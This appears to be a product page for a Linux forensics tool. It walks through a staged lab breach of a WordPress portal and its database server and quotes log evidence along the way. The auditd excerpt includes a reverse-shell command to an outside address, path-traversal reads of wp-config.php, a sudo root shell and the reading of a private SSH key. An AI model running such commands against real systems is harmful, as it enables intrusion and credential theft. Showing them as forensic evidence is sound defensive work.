Solutions · By use case

Linux server compromise: what happened, in depth.

Most forensic tools are built for Windows desktops. Arcsentry reads Linux natively, from web server logs to auditd process records, and ties them into one story.

The problem

Linux evidence usually means grep and patience.

A Linux compromise leaves evidence everywhere, and none of it lines up on its own.

  1. Many logs, many formats

    Web server logs, auth logs, auditd, shell history and cron each tell part of the story, in different formats and time zones.

  2. History without time

    Shell history has no timestamps by default, so its lines have to be placed by other evidence.

  3. A trail in three places

    An exploited web app leaves a trail across the web log, the process record and the file system.

Two ways the first day can go
grep and patience
  1. Hour 1SSH in and grep the logs
  2. Hour 4A spreadsheet of times from five formats
  3. Day 2Untimed history guessed into place
  4. ✕A timeline nobody can defend
One case
  1. Hour 1Collect both servers, sealed
  2. Same hourEvery log parsed into one schema
  3. Same dayExploit to root, traced and cited
  4. ✓Every step cited from its own log
Follow a case

From a phishing complaint to a cited breach report.

A WordPress customer portal, its database server, and a customer asking how a scammer knew their order history. Scroll to follow the investigation.

  1. 01 28 November

    A customer gets a phishing email that quotes their order history.

    The details could only have come from the customer portal or its database. Nobody saw an alert. The question is whether the portal was compromised, how, what was taken, and whether the attacker is still there.

    Support ticketmedium
    Phishing email quotes a customer’s order history
    Reported
    28 Nov 2026
    Systems
    web01 · WordPress on nginx
    db01 · MySQL
    Question
    Was the portal breached?

    No alert fired on either server.

  2. 02 Step 1 · Collect

    Both servers, sealed, before anything changes.

    Arcsentry Collector takes a Linux triage collection from each server into an encrypted archive with a SHA-256 for every file. Web server logs, auth logs, auditd, shell history, cron and systemd come with it.

    Arcsentry Collector · Guided Collection · live
    web01Portal, Ubuntu 24.04
    🔒 web01.arcxLinux triage profileAES-256SHA-256 per file
    db01Database, Ubuntu 24.04
    🔒 db01.arcxLinux triage profileAES-256SHA-256 per file
  3. 03 Step 2 · The way in

    647 requests from a scanner, then one upload.

    The web server log shows an address probing the portal for 36 minutes, mostly into 404s. It stops at the minute of a single POST to the WP File Manager plugin, and 30 seconds later a second address starts calling a new PHP file.

    web01:/var/log/nginx/access.log
    nginx access log
    1. 02:11:05203.0.113.45 GET /wp-login.php 404
    2. …647 requests from 203.0.113.45, 594 answered 404
    3. 02:47:19203.0.113.45 POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 200
    4. 02:47:49203.0.113.77 GET …/lib/files/thumb_cache.php?c=id 200
    5. 02:50:58203.0.113.77 GET …/thumb_cache.php?c=… (8 requests in all)
  4. 04 Step 3 · What ran

    From the web server account to root in eleven minutes.

    auditd records every command the web server account ran through the shell: reading the WordPress config, fetching a script, a reverse shell. Eight minutes after the config was read, the account switches to deploy, then to root with sudo.

    web01:/var/log/audit/audit.log
    auditd · commands, in order
    1. 02:47:52www-data id ; uname -a ; cat /etc/passwd
    2. 02:49:40www-data cat ../../../../../wp-config.php
    3. 02:52:31www-data bash -i >& /dev/tcp/198.51.100.23/443
    4. 02:58:06www-data su deploy
    5. 02:58:37deploy sudo bash -i
    6. 03:00:02root cat /home/deploy/.ssh/id_ed25519
  5. 05 Step 4 · The night

    Persistence five ways, then the database.

    Each step becomes a verdict with an ATT&CK technique and a kill-chain stage: an implant run as a systemd service, a preload library, a second root account, an SSH key, a cron job, and an SSH hop to the database server with the stolen key.

    Timeline · kill-chain lanes
    02:1002:3002:5003:10
    Reconnaissance
    02:11 · Scanner starts, 647 requests
    Exploitation
    02:47 · Upload to WP File Manager 02:52 · Reverse shell
    Privilege escalation
    02:58 · su deploy, then sudo to root
    Persistence
    03:09 · Implant as systemd service 03:11 · Preload library, UID 0 account
    Lateral movement
    03:14 · SSH to db01 as deploy db01 reached 03:14:02
    1. 02:11Scanner starts, 647 requests
    2. 02:47Upload to WP File Manager
    3. 02:52Reverse shell
    4. 02:58su deploy, then sudo to root
    5. 03:09Implant as systemd service
    6. 03:11Preload library, UID 0 account
    7. 03:14SSH to db01 as deploy
  6. 06 Step 5 · The spread

    The stolen key, used one second apart on both ends.

    Sessions are rebuilt from both servers. web01’s auditd shows the SSH command at 03:14:02; db01’s auth log shows deploy logging in from web01 at 03:14:03. Then a full database dump on db01, copied out.

    Sessions and access, both servers
    POST upload 02:47:19 Web shell 02:47:49–02:50:58 SSH as deploy 03:14:03 · stolen key 203.0.113.45 Scanner, upload 203.0.113.77 Web shell web01 Portal db01 Database
  7. 07 Step 6 · Fact or inference

    What is proven, and what is only likely.

    The investigation keeps what was observed apart from what was inferred. Times are cited from their own source, because the web log and auditd disagree by up to 24 seconds. Shell history has no timestamps, so its lines are not placed in the first hour.

    Findings rigour
    • !Upload, web shell, reverse shell, rootobserved
    • !SSH to db01 and the database dumpobserved on both ends
    • ?deploy’s password reused from wp-config.phpinferred, not proven
    • ?Root SSH key and preload entryfrom untimed history
    • ?Clock offset, web log vs auditdup to 24 s, not reconciled
    Compromised: web01 and db01
  8. 08 Step 7 · Report

    A breach report where every line has a source.

    You approve the verdicts and indicators, and the AI investigator writes the case note: the chain from scan to database dump, the persistence to remove on web01, the key and passwords to rotate, and what the evidence cannot show.

    Approval needed Set verdicts · add indicators · create case note ApproveApproved ✓
    Case note · written by the AI investigator · pinned

    Findings: web01 / db01 portal breach

    Exploited through WP File Manager at 02:47:19 from 203.0.113.45; root on web01 by 02:58:37; db01 reached with deploy’s key at 03:14:02 and its database dumped.

    02:47:19Upload to connector.minimal.phpnginx
    02:58:37deploy: sudo bash -iauditd
    03:14:02ssh [email protected] with the stolen keyauditd
    What the evidence cannot show
    • Whether deploy’s password came from wp-config.php
    • How much of the dump left the network

From our Halden Freight lab case: a portal we built, attacked and collected ourselves. Times and addresses are from its evidence.

Try it yourself

Now explore a real case.

This is Kestrel Analytics, a two-host case we built in our own lab and investigated with the AI investigator. Every verdict, summary and indicator is from that run. Switch views with the icons, or open the AI investigator at the top right.

Kestrel Analytics — CPU alert on build servers 2 hosts · 46,116 events
Events46,116
Evidence2
Indicators19
Malicious51
Suspicious7
ATT&CK techniques
T1562.0016
T11056
T1036.0055
T11334
T10533
T10683
T10783
T1070.0042
Kill chain click a stage to pivot
NameOSStatusRecordsFlagged
app01Ubuntu 24.04.1 LTSCompleted22,78724
build01Ubuntu 24.04.1 LTSCompleted23,32927
Interactive: switch views with the icons or press 1–8. Open the AI investigator at the top right. Real data · Kestrel Analytics demo case · 46,116 events
Evidence it reads

The artifacts behind the answer.

Every question in the investigation has a place in the evidence where it is answered. Arcsentry parses them all into one case.

  1. 01

    How did they get in?

    Web requests and remote logons

  2. 02

    What did they run?

    Commands, from the web shell to root

  3. 03

    How did they get root?

    sudo, su and the rules that allow them

  4. 04

    What did they leave behind?

    Persistence that survives a reboot

  5. 05

    What was touched, and when?

    Files written, changed and deleted

Browse all 576 parsers in the artifact library →
What you hand over

At the end of the case, you have:

A cited case note

Summary, timeline table and findings, each with event IDs and links back to the query behind it, plus what the evidence cannot show.

A verdict timeline

Every flagged event with a summary, ATT&CK technique and kill-chain stage, readable as a story or in swimlanes.

Indicators

Addresses, accounts, file names, services and command lines with severity and TLP, ready to hunt for elsewhere.

A record of the work

An append-only case log of every action by analysts, rules and the AI, and sealed archives with a SHA-256 for every file.

Questions

Frequently asked.

How fast can we start?

Install Arcsentry on a Windows or Linux workstation, collect or import the evidence, and ask your first question. The free 7-day trial includes help getting started.

Does our evidence leave our network?

No. Arcsentry has no telemetry. The only outbound connection is to the AI model you choose, which can be a model you host yourself.

Do we need forensic specialists to use it?

Specialists get the most from AQL, SQL and detection rules, but anyone on the team can ask questions in plain English and review the AI investigator's cited findings.

See it on your own evidence. Free for 7 days.

Tell us what you want to investigate. A person replies within one business day with the download and a trial licence.

Request a trial